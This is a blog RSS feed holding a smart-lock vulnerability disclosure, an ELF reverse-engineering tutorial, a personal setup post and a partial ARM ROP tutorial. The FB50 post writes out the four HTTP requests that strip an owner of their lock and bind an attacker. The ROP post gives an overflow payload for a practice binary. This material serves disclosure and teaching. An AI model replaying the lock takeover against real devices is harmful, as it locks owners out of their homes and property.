build/blog/feed.xml (view raw)
1<?xml version='1.0' encoding='UTF-8'?>
2<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
3 <channel>
4 <title>icyphox's blog</title>
5 <link>https://icyphox.sh/blog/</link>
6 <description>icyphox's blog</description>
7 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
8 <image>
9 <url>https://icyphox.sh/icyphox.png</url>
10 </image>
11 <language>en-us</language>
12 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
13<item>
14 <title>Picking the FB50 smart lock (CVE-2019-13143)</title>
15 <link>https://icyphox.sh/blog/fb50/</link>
16 <description><h1 id="picking-the-fb50-smart-lock-cve-2019-13143">Picking the FB50 smart lock (CVE-2019-13143)</h1>
17
18<h2 id="and-lessons-learnt-in-iot-security">… and lessons learnt in IoT security</h2>
19
20<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7&#8217;s Blog</a>, with my edits</em>)</p>
21
22<h3 id="the-lock">The lock</h3>
23
24<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
25Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
26across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
27
28<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
29the Play/App Store to function. The app requires the user to create an
30account before further functionality is available.
31It also facilitates configuring the fingerprint,
32and unlocking from a range via Bluetooth.</p>
33
34<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
35and the Android app.</p>
36
37<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
38
39<p>Android phones have the ability to capture Bluetooth (HCI) traffic
40which can be enabled under Developer Options under Settings. We made
41around 4 &#8220;unlocks&#8221; from the Android phone, as seen in the screenshot.</p>
42
43<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
44
45<p>This is the value sent in the <code>Write</code> request:</p>
46
47<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
48
49<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
50but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
51
52<h3 id="via-the-android-app">Via the Android app</h3>
53
54<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&#8217;t get us too
55far since most of it was obfuscated. Why bother when there exists an
56easier approach &#8211; BurpSuite.</p>
57
58<p>We captured and played around with a bunch of requests and responses,
59and finally arrived at a working exploit chain.</p>
60
61<h3 id="the-exploit">The exploit</h3>
62
63<p>The entire exploit is a 4 step process consisting of authenticated
64HTTP requests:</p>
65
66<ol>
67<li>Using the lock&#8217;s MAC (obtained via a simple Bluetooth scan in the
68vicinity), get the barcode and lock ID</li>
69<li>Using the barcode, fetch the user ID</li>
70<li>Using the lock ID and user ID, unbind the user from the lock</li>
71<li>Provide a new name, attacker&#8217;s user ID and the MAC to bind the attacker
72to the lock</li>
73</ol>
74
75<p>This is what it looks like, in essence (personal info redacted).</p>
76
77<h4 id="request-1">Request 1</h4>
78
79<pre><code>POST /oklock/lock/queryDevice
80{"mac":"XX:XX:XX:XX:XX:XX"}
81</code></pre>
82
83<p>Response:</p>
84
85<pre><code>{
86 "result":{
87 "alarm":0,
88 "barcode":"&lt;BARCODE&gt;",
89 "chipType":"1",
90 "createAt":"2019-05-14 09:32:23.0",
91 "deviceId":"",
92 "electricity":"95",
93 "firmwareVersion":"2.3",
94 "gsmVersion":"",
95 "id":&lt;LOCK ID&gt;,
96 "isLock":0,
97 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
98 "lockPwd":"000000",
99 "mac":"XX:XX:XX:XX:XX:XX",
100 "name":"lock",
101 "radioName":"BlueFPL",
102 "type":0
103 },
104 "status":"2000"
105}
106</code></pre>
107
108<h4 id="request-2">Request 2</h4>
109
110<pre><code>POST /oklock/lock/getDeviceInfo
111
112{"barcode":"https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;"}
113</code></pre>
114
115<p>Response:</p>
116
117<pre><code> "result":{
118 "account":"email@some.website",
119 "alarm":0,
120 "barcode":"&lt;BARCODE&gt;",
121 "chipType":"1",
122 "createAt":"2019-05-14 09:32:23.0",
123 "deviceId":"",
124 "electricity":"95",
125 "firmwareVersion":"2.3",
126 "gsmVersion":"",
127 "id":&lt;LOCK ID&gt;,
128 "isLock":0,
129 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
130 "lockPwd":"000000",
131 "mac":"XX:XX:XX:XX:XX:XX",
132 "name":"lock",
133 "radioName":"BlueFPL",
134 "type":0,
135 "userId":&lt;USER ID&gt;
136 }
137</code></pre>
138
139<h4 id="request-3">Request 3</h4>
140
141<pre><code>POST /oklock/lock/unbind
142
143{"lockId":"&lt;LOCK ID&gt;","userId":&lt;USER ID&gt;}
144</code></pre>
145
146<h4 id="request-4">Request 4</h4>
147
148<pre><code>POST /oklock/lock/bind
149
150{"name":"newname","userId":&lt;USER ID&gt;,"mac":"XX:XX:XX:XX:XX:XX"}
151</code></pre>
152
153<h3 id="thats-it-the-scary-stuff">That&#8217;s it! (&amp; the scary stuff)</h3>
154
155<p>You should have the lock transferred to your account. The severity of this
156issue lies in the fact that the original owner completely loses access to
157their lock. They can&#8217;t even &#8220;rebind&#8221; to get it back, since the current owner
158(the attacker) needs to authorize that. </p>
159
160<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR.
161Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;,
162&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
163
164<p><em>shudders</em></p>
165
166<h3 id="proof-of-concept">Proof of Concept</h3>
167
168<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
169
170<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
171
172<h3 id="disclosure-timeline">Disclosure timeline</h3>
173
174<ul>
175<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
176<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
177<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
178<li>No response from vendor</li>
179<li><strong>2nd August 2019</strong>: Public disclosure</li>
180</ul>
181
182<h3 id="lessons-learnt">Lessons learnt</h3>
183
184<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&#8217;re better off with the &#8220;dumb&#8221; ones
185with keys. With the IoT plague spreading, it brings in a large attack surface
186to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p>
187
188<p>The IoT security scene is rife with bugs from over 10 years ago, like
189executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
190practices in general.</p>
191
192<p>Our existing threat models and scenarios have to be updated to factor
193in these new exploitation possibilities. This also broadens the playing
194field for cyber warfare and mass surveillance campaigns. </p>
195
196<h3 id="researcher-info">Researcher info</h3>
197
198<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
199
200<ul>
201<li>Anirudh Oppiliappan (me)</li>
202<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
203<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
204</ul>
205
206<div class="footnotes">
207<hr />
208<ol>
209<li id="fn-1">
210<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
211</li>
212
213<li id="fn-2">
214<p>Thanks to Ilja Shaposhnikov (@drakylar).&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
215</li>
216
217<li id="fn-3">
218<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
219</li>
220</ol>
221</div>
222</description>
223 <pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate>
224 <guid>https://icyphox.sh/blog/fb50/</guid>
225</item>
226<item>
227 <title>Python for Reverse Engineering #1: ELF Binaries</title>
228 <link>https://icyphox.sh/blog/python-for-re-1</link>
229 <description><h1 id="python-for-reverse-engineering-1-elf-binaries">Python for Reverse Engineering 1: ELF Binaries</h1>
230
231<h2 id="building-your-own-disassembly-tooling-for-thats-right-fun-and-profit">Building your own disassembly tooling for — that’s right — fun and profit</h2>
232
233<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
234
235<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
236
237<h3 id="setup">Setup</h3>
238
239<p>As the title suggests, you’re going to need a Python 3 interpreter before
240anything else. Once you’ve confirmed beyond reasonable doubt that you do,
241in fact, have a Python 3 interpreter installed on your system, run</p>
242
243<pre><code>$ pip install capstone pyelftools
244</code></pre>
245
246<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
247
248<p>With that out of the way, let’s start with an example of a basic reversing
249challenge.</p>
250
251<pre><code>/* chall.c */
252
253#include &lt;stdio.h&gt;
254#include &lt;stdlib.h&gt;
255#include &lt;string.h&gt;
256
257int main() {
258 char *pw = malloc(9);
259 pw[0] = 'a';
260 for(int i = 1; i &lt;= 8; i++){
261 pw[i] = pw[i - 1] + 1;
262 }
263 pw[9] = '\0';
264 char *in = malloc(10);
265 printf("password: ");
266 fgets(in, 10, stdin); // 'abcdefghi'
267 if(strcmp(in, pw) == 0) {
268 printf("haha yes!\n");
269 }
270 else {
271 printf("nah dude\n");
272 }
273}
274</code></pre>
275
276<p>Compile it with GCC/Clang:</p>
277
278<pre><code>$ gcc chall.c -o chall.elf
279</code></pre>
280
281<h3 id="scripting">Scripting</h3>
282
283<p>For starters, let’s look at the different sections present in the binary.</p>
284
285<pre><code># sections.py
286
287from elftools.elf.elffile import ELFFile
288
289with open('./chall.elf', 'rb') as f:
290 e = ELFFile(f)
291 for section in e.iter_sections():
292 print(hex(section['sh_addr']), section.name)
293</code></pre>
294
295<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
296
297<pre><code>› python sections.py
2980x238 .interp
2990x254 .note.ABI-tag
3000x274 .note.gnu.build-id
3010x298 .gnu.hash
3020x2c0 .dynsym
3030x3e0 .dynstr
3040x484 .gnu.version
3050x4a0 .gnu.version_r
3060x4c0 .rela.dyn
3070x598 .rela.plt
3080x610 .init
3090x630 .plt
3100x690 .plt.got
3110x6a0 .text
3120x8f4 .fini
3130x900 .rodata
3140x924 .eh_frame_hdr
3150x960 .eh_frame
3160x200d98 .init_array
3170x200da0 .fini_array
3180x200da8 .dynamic
3190x200f98 .got
3200x201000 .data
3210x201010 .bss
3220x0 .comment
3230x0 .symtab
3240x0 .strtab
3250x0 .shstrtab
326</code></pre>
327
328<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
329
330<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
331
332<pre><code># disas1.py
333
334from elftools.elf.elffile import ELFFile
335from capstone import *
336
337with open('./bin.elf', 'rb') as f:
338 elf = ELFFile(f)
339 code = elf.get_section_by_name('.text')
340 ops = code.data()
341 addr = code['sh_addr']
342 md = Cs(CS_ARCH_X86, CS_MODE_64)
343 for i in md.disasm(ops, addr):
344 print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}')
345</code></pre>
346
347<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
348
349<pre><code>› python disas1.py | less
3500x6a0: xor ebp, ebp
3510x6a2: mov r9, rdx
3520x6a5: pop rsi
3530x6a6: mov rdx, rsp
3540x6a9: and rsp, 0xfffffffffffffff0
3550x6ad: push rax
3560x6ae: push rsp
3570x6af: lea r8, [rip + 0x23a]
3580x6b6: lea rcx, [rip + 0x1c3]
3590x6bd: lea rdi, [rip + 0xe6]
360**0x6c4: call qword ptr [rip + 0x200916]**
3610x6ca: hlt
362... snip ...
363</code></pre>
364
365<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
366
367<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
368
369<blockquote>
370 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
371</blockquote>
372
373<p>To try and find these relocation entries, we write a third script.</p>
374
375<pre><code># relocations.py
376
377import sys
378from elftools.elf.elffile import ELFFile
379from elftools.elf.relocation import RelocationSection
380
381with open('./chall.elf', 'rb') as f:
382 e = ELFFile(f)
383 for section in e.iter_sections():
384 if isinstance(section, RelocationSection):
385 print(f'{section.name}:')
386 symbol_table = e.get_section(section['sh_link'])
387 for relocation in section.iter_relocations():
388 symbol = symbol_table.get_symbol(relocation['r_info_sym'])
389 addr = hex(relocation['r_offset'])
390 print(f'{symbol.name} {addr}')
391</code></pre>
392
393<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
394
395<pre><code>› python relocations.py
396.rela.dyn:
397 0x200d98
398 0x200da0
399 0x201008
400_ITM_deregisterTMCloneTable 0x200fd8
401**__libc_start_main 0x200fe0**
402__gmon_start__ 0x200fe8
403_ITM_registerTMCloneTable 0x200ff0
404__cxa_finalize 0x200ff8
405stdin 0x201010
406.rela.plt:
407puts 0x200fb0
408printf 0x200fb8
409fgets 0x200fc0
410strcmp 0x200fc8
411malloc 0x200fd0
412</code></pre>
413
414<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p>
415
416<blockquote>
417 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
418</blockquote>
419
420<p>And its definition is like so</p>
421
422<pre><code>int __libc_start_main(int *(main) (int, char * *, char * *),
423int argc, char * * ubp_av,
424void (*init) (void),
425void (*fini) (void),
426void (*rtld_fini) (void),
427void (* stack_end));
428</code></pre>
429
430<p>Looking back at our disassembly</p>
431
432<pre><code>0x6a0: xor ebp, ebp
4330x6a2: mov r9, rdx
4340x6a5: pop rsi
4350x6a6: mov rdx, rsp
4360x6a9: and rsp, 0xfffffffffffffff0
4370x6ad: push rax
4380x6ae: push rsp
4390x6af: lea r8, [rip + 0x23a]
4400x6b6: lea rcx, [rip + 0x1c3]
441**0x6bd: lea rdi, [rip + 0xe6]**
4420x6c4: call qword ptr [rip + 0x200916]
4430x6ca: hlt
444... snip ...
445</code></pre>
446
447<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
448
449<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
450
451<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
452
453<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
454
455<pre><code>printf 0x650
456fgets 0x660
457strcmp 0x670
458malloc 0x680
459</code></pre>
460
461<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
462
463<pre><code>0x7b2: mov edi, 0xa ; 10
4640x7b7: call 0x680 ; malloc
465</code></pre>
466
467<p>The loop to populate the <code>*pw</code> string</p>
468
469<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
4700x7d3: cdqe
4710x7d5: lea rdx, [rax - 1]
4720x7d9: mov rax, qword ptr [rbp - 0x10]
4730x7dd: add rax, rdx
4740x7e0: movzx eax, byte ptr [rax]
4750x7e3: lea ecx, [rax + 1]
4760x7e6: mov eax, dword ptr [rbp - 0x14]
4770x7e9: movsxd rdx, eax
4780x7ec: mov rax, qword ptr [rbp - 0x10]
4790x7f0: add rax, rdx
4800x7f3: mov edx, ecx
4810x7f5: mov byte ptr [rax], dl
4820x7f7: add dword ptr [rbp - 0x14], 1
4830x7fb: cmp dword ptr [rbp - 0x14], 8
4840x7ff: jle 0x7d0
485</code></pre>
486
487<p>And this looks like our <code>strcmp()</code></p>
488
489<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
4900x847: mov rax, qword ptr [rbp - 8] ; *pw
4910x84b: mov rsi, rdx
4920x84e: mov rdi, rax
4930x851: call 0x670 ; strcmp
4940x856: test eax, eax ; is = 0?
4950x858: jne 0x868 ; no? jump to 0x868
4960x85a: lea rdi, [rip + 0xae] ; "haha yes!"
4970x861: call 0x640 ; puts
4980x866: jmp 0x874
4990x868: lea rdi, [rip + 0xaa] ; "nah dude"
5000x86f: call 0x640 ; puts
501</code></pre>
502
503<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
504
505<p><strong>Update</strong>: It&#8217;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
506
507<h3 id="conclusion">Conclusion</h3>
508
509<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
510
511<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
512
513<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
514</description>
515 <pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate>
516 <guid>https://icyphox.sh/blog/python-for-re-1/</guid>
517</item>
518<item>
519 <title>My Setup</title>
520 <link>https://icyphox.sh/blog/my-setup</link>
521 <description><h1 id="my-setup">My Setup</h1>
522
523<h2 id="my-daily-drivers-hardware-and-software">My daily drivers — hardware and software</h2>
524
525<h3 id="hardware">Hardware</h3>
526
527<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
5288 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
529
530<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
531I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
532
533<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
534
535<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
536For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
537
538<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
539Great pair of headphones, although the ear cups need replacing.</p>
540
541<h3 id="and-the-software">And the software</h3>
542
543<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
544window manager, all riced. I now use whatever JustWorks™.</del></p>
545
546<p><strong>Update</strong>: As of June 2019, I&#8217;ve switched over to a vanilla Debian 9 Stretch install,
547running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
548
549<p>Here’s a (riced) screenshot of my desktop. </p>
550
551<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
552
553<p>Most of my work is done in either the browser, or the terminal.
554My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
555a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
556My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
557I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
558
559<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
560clean and a single command to drop into a Kali shell.</p>
561
562<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
563The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
564
565<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
566</description>
567 <pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate>
568 <guid>https://icyphox.sh/blog/my-setup/</guid>
569</item>
570<item>
571 <title>Return Oriented Programming on ARM (32-bit)</title>
572 <link>https://icyphox.sh/blog/rop-on-arm/</link>
573 <description><h1 id="return-oriented-programming-on-arm-32-bit">Return Oriented Programming on ARM (32-bit)</h1>
574
575
576<h2 id="making-stack-based-exploitation-great-again">Making stack-based exploitation great again!</h2>
577
578<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
579assembly to follow along. I highly recommend
580<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
581Basics</a>. Once you’re
582comfortable with it, proceed with the next bit — environment setup.</p>
583
584<h3 id="setup">Setup</h3>
585
586<p>Since we’re working with the ARM architecture, there are two options to go
587forth with: </p>
588
589<ol>
590<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
591And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
592The scripts found inside should be self-explanatory.</li>
593<li>Use actual ARM hardware, like an RPi.</li>
594</ol>
595
596<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
597may use <code>radare2</code>, IDA or anything else, really. All of which can be
598trivially installed.</p>
599
600<p>And for the sake of simplicity, disable ASLR:</p>
601
602<pre><code>$ echo 0 &gt; /proc/sys/kernel/randomize_va_space
603</code></pre>
604
605<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
606<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
607
608<p>Compile it:</p>
609
610<pre><code>$ gcc roplevel2.c -o rop2
611</code></pre>
612
613<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
614
615<h3 id="a-primer-on-rop">A primer on ROP</h3>
616
617<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
618used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
619In essence, no code in the binary is actually modified and the entire exploit
620is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
621
622<p>A gadget is essentially a small sequence of code (instructions), ending with
623a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
624code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
625These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
626to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
627there’s generally a call to <code>system()</code>, to acheive code execution.</p>
628
629<p>In practice, the process of executing a ropchain is something like this:</p>
630
631<ul>
632<li>confirm the existence of a stack-based buffer overflow</li>
633<li>identify the offset at which the instruction pointer gets overwritten</li>
634<li>locate the addresses of the gadgets you wish to use</li>
635<li>craft your input keeping in mind the stack’s layout, and chain the addresses
636of your gadgets</li>
637</ul>
638
639<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s">beautiful video</a> where he explains ROP using “weird machines”.
640Check it out, it might be just what you needed for that “aha!” moment :)</p>
641
642<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
643that should put things into perspective.</p>
644
645<h3 id="exploring-our-binary">Exploring our binary</h3>
646
647<p>Start by running it, and entering any arbitrary string. On entering a fairly
648large string, say, “A” × 20, we
649see a segmentation fault occur.</p>
650
651<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
652
653<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
654
655<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
656
657<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
658<code>gadget</code>. Disassembling the <code>main</code> function:</p>
659
660<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
661
662<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
663to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
664never actually called.</p>
665
666<p>Disassembling the <code>gadget</code> function:</p>
667
668<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
669
670<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
671which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
672instruction in the middle. This is a <strong>gadget</strong>.</p>
673
674<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
675arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
676are used for this. So this gadget effectively allows us to pass arguments to
677functions using <code>r0</code>, and subsequently jumping to them by passing its address
678in <code>pc</code>. Neat.</p>
679
680<p>Moving on to the disassembly of the <code>winner</code> function:</p>
681
682<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
683
684<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
685So our end goal here is to, quite obviously, execute code via the <code>system()</code>
686function.</p>
687
688<p>Now that we have an overview of what’s in the binary, let’s formulate a method
689of exploitation by messing around with inputs.</p>
690
691<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
692
693<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
694screenshot.</p>
695
696<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
697
698<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
699the <code>pc</code> has been overwritten with our input.
700So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
701
702<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
703control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
704
705<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
706of the second instruction — <code>add r11, sp, #4</code>.
707For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
708the address of <code>winner</code>. Note the endianness.</p>
709
710<pre><code>$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2
711</code></pre>
712
713<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
714
715<p>The reason we don’t jump to the first instruction is because we want to control the stack
716ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
717those out after <code>winner</code> is done executing and we will no longer control
718where it jumps to.</p>
719
